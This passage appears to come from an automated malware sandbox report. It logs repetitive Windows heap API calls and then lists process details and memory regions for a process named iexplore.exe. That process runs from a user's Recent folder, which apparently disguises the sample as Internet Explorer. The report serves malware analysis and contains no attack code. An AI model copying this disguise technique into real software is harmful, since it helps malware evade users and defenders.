hHeap=0x310000) returned 1 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325960) returned 1 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325960) returned 0x20 [0164.771] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325960 | out: hHeap=0x310000) returned 1 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325990) returned 1 [0164.771] GetProcessHeap () returned 0x310000 [0164.771] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325990) returned 0x20 [0164.772] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325990 | out: hHeap=0x310000) returned 1 [0164.783] GetProcessHeap () returned 0x310000 [0164.783] GetProcessHeap () returned 0x310000 [0164.783] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x3259c0) returned 1 [0164.783] GetProcessHeap () returned 0x310000 [0164.783] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3259c0) returned 0x20 [0164.784] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3259c0 | out: hHeap=0x310000) returned 1 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb40) returned 1 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cb40) returned 0x20 [0164.784] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb40 | out: hHeap=0x310000) returned 1 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660) returned 1 [0164.784] GetProcessHeap () returned 0x310000 [0164.784] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d660) returned 0xc [0164.784] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660 | out: hHeap=0x310000) returned 1 [0164.784] GetProcessHeap () returned 0x310000 [0164.785] GetProcessHeap () returned 0x310000 [0164.785] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb70) returned 1 [0164.785] GetProcessHeap () returned 0x310000 [0164.785] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cb70) returned 0x20 [0164.785] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb70 | out: hHeap=0x310000) returned 1 [0164.785] GetProcessHeap () returned 0x310000 [0164.785] GetProcessHeap () returned 0x310000 [0164.785] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327a50) returned 1 [0164.785] GetProcessHeap () returned 0x310000 [0164.785] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327a50) returned 0x30 [0164.785] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327a50 | out: hHeap=0x310000) returned 1 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cba0) returned 1 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cba0) returned 0x20 [0164.786] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cba0 | out: hHeap=0x310000) returned 1 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327a90) returned 1 [0164.786] GetProcessHeap () returned 0x310000 [0164.786] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327a90) returned 0x30 [0164.786] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327a90 | out: hHeap=0x310000) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd20) returned 0x20 [0164.787] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20 | out: hHeap=0x310000) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d580) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d580) returned 0x16 [0164.787] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d580 | out: hHeap=0x310000) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccf0) returned 1 [0164.787] GetProcessHeap () returned 0x310000 [0164.787] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccf0) returned 0x20 [0164.788] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccf0 | out: hHeap=0x310000) returned 1 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5a0) returned 1 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d5a0) returned 0x16 [0164.788] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5a0 | out: hHeap=0x310000) returned 1 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccc0) returned 1 [0164.788] GetProcessHeap () returned 0x310000 [0164.788] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccc0) returned 0x20 [0164.788] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccc0 | out: hHeap=0x310000) returned 1 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x349b00) returned 1 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x349b00) returned 0x82 [0164.789] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x349b00 | out: hHeap=0x310000) returned 1 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc90) returned 1 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc90) returned 0x20 [0164.789] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc90 | out: hHeap=0x310000) returned 1 [0164.789] GetProcessHeap () returned 0x310000 [0164.789] GetProcessHeap () returned 0x310000 [0164.790] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5e0) returned 1 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d5e0) returned 0xe [0164.790] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5e0 | out: hHeap=0x310000) returned 1 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc60) returned 1 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc60) returned 0x20 [0164.790] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc60 | out: hHeap=0x310000) returned 1 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600) returned 1 [0164.790] GetProcessHeap () returned 0x310000 [0164.790] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d600) returned 0xc [0164.790] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600 | out: hHeap=0x310000) returned 1 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc30) returned 1 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc30) returned 0x20 [0164.791] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc30 | out: hHeap=0x310000) returned 1 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620) returned 1 [0164.791] GetProcessHeap () returned 0x310000 [0164.791] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d620) returned 0xe [0164.791] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620 | out: hHeap=0x310000) returned 1 [0164.791] GetProcessHeap () returned 0x310000 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc00) returned 1 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc00) returned 0x20 [0164.792] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc00 | out: hHeap=0x310000) returned 1 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640) returned 1 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d640) returned 0x10 [0164.792] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640 | out: hHeap=0x310000) returned 1 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbd0) returned 1 [0164.792] GetProcessHeap () returned 0x310000 [0164.792] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cbd0) returned 0x20 [0164.793] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbd0 | out: hHeap=0x310000) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9f0) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32b9f0) returned 0x18 [0164.793] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9f0 | out: hHeap=0x310000) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3259f0) returned 0x20 [0164.793] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0 | out: hHeap=0x310000) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20) returned 1 [0164.793] GetProcessHeap () returned 0x310000 [0164.793] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a20) returned 0x20 [0164.794] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20 | out: hHeap=0x310000) returned 1 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50) returned 1 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a50) returned 0x20 [0164.794] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50 | out: hHeap=0x310000) returned 1 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80) returned 1 [0164.794] GetProcessHeap () returned 0x310000 [0164.794] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a80) returned 0x20 [0164.795] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80 | out: hHeap=0x310000) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba10) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ba10) returned 0x18 [0164.795] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba10 | out: hHeap=0x310000) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ab0) returned 0x20 [0164.795] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ab0 | out: hHeap=0x310000) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40) returned 1 [0164.795] GetProcessHeap () returned 0x310000 [0164.795] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b40) returned 0x20 [0164.796] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b40 | out: hHeap=0x310000) returned 1 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0) returned 1 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ba0) returned 0x20 [0164.796] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0 | out: hHeap=0x310000) returned 1 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00) returned 1 [0164.796] GetProcessHeap () returned 0x310000 [0164.796] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c00) returned 0x20 [0164.797] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c00 | out: hHeap=0x310000) returned 1 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30) returned 1 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c30) returned 0x20 [0164.797] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c30 | out: hHeap=0x310000) returned 1 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba30) returned 1 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ba30) returned 0x18 [0164.797] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba30 | out: hHeap=0x310000) returned 1 [0164.797] GetProcessHeap () returned 0x310000 [0164.797] GetProcessHeap () returned 0x310000 [0164.798] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70) returned 1 [0164.798] GetProcessHeap () returned 0x310000 [0164.798] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b70) returned 0x20 [0164.798] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70 | out: hHeap=0x310000) returned 1 [0164.798] GetProcessHeap () returned 0x310000 [0164.798] GetProcessHeap () returned 0x310000 [0164.798] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9b0) returned 1 [0164.798] GetProcessHeap () returned 0x310000 [0164.798] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32b9b0) returned 0x18 [0164.798] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9b0 | out: hHeap=0x310000) returned 1 [0164.798] exit (_Code=0) Thread: id = 223 os_tid = 0xa48 Process: id = "66" image_name = "iexplore.exe" filename = "c:\\users\\default\\recent\\iexplore.exe" page_root = "0x3fbb1000" os_pid = "0xa50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Users\\Default\\Recent\\iexplore.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5285 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5286 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5287 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5288 start_va = 0x980000 end_va = 0xa55fff monitored = 1 entry_point = 0xa4d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 5289 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5290 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5291 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5292 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5293 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5294 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5295 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5436 start_va = 0x40000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5437 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5438 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5439 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5440 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5441 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5442 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5443 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5444 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5445 start_va = 0x130000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5446 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5447 start_va = 0x420000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 5448 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5449 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5450 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5451 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5552 start_va = 0x130000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5553 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5554 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 5555 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5556 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5557 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5558 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5559 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5560 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5561 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5562 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5663 start_va = 0x130000 end_va = 0x158fff monitored = 0 entry_point = 0x131010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5664 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5665 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 5666 start_va = 0x130000 end_va = 0x158fff monitored = 0 entry_point = 0x131010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5667 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5668 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5669 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 5670 start_va = 0xa60000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 5671 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5672 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5673 start_va = 0x1e60000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x1f2d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 5674 start_va = 0x1e60000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x1f2d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 5778 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: 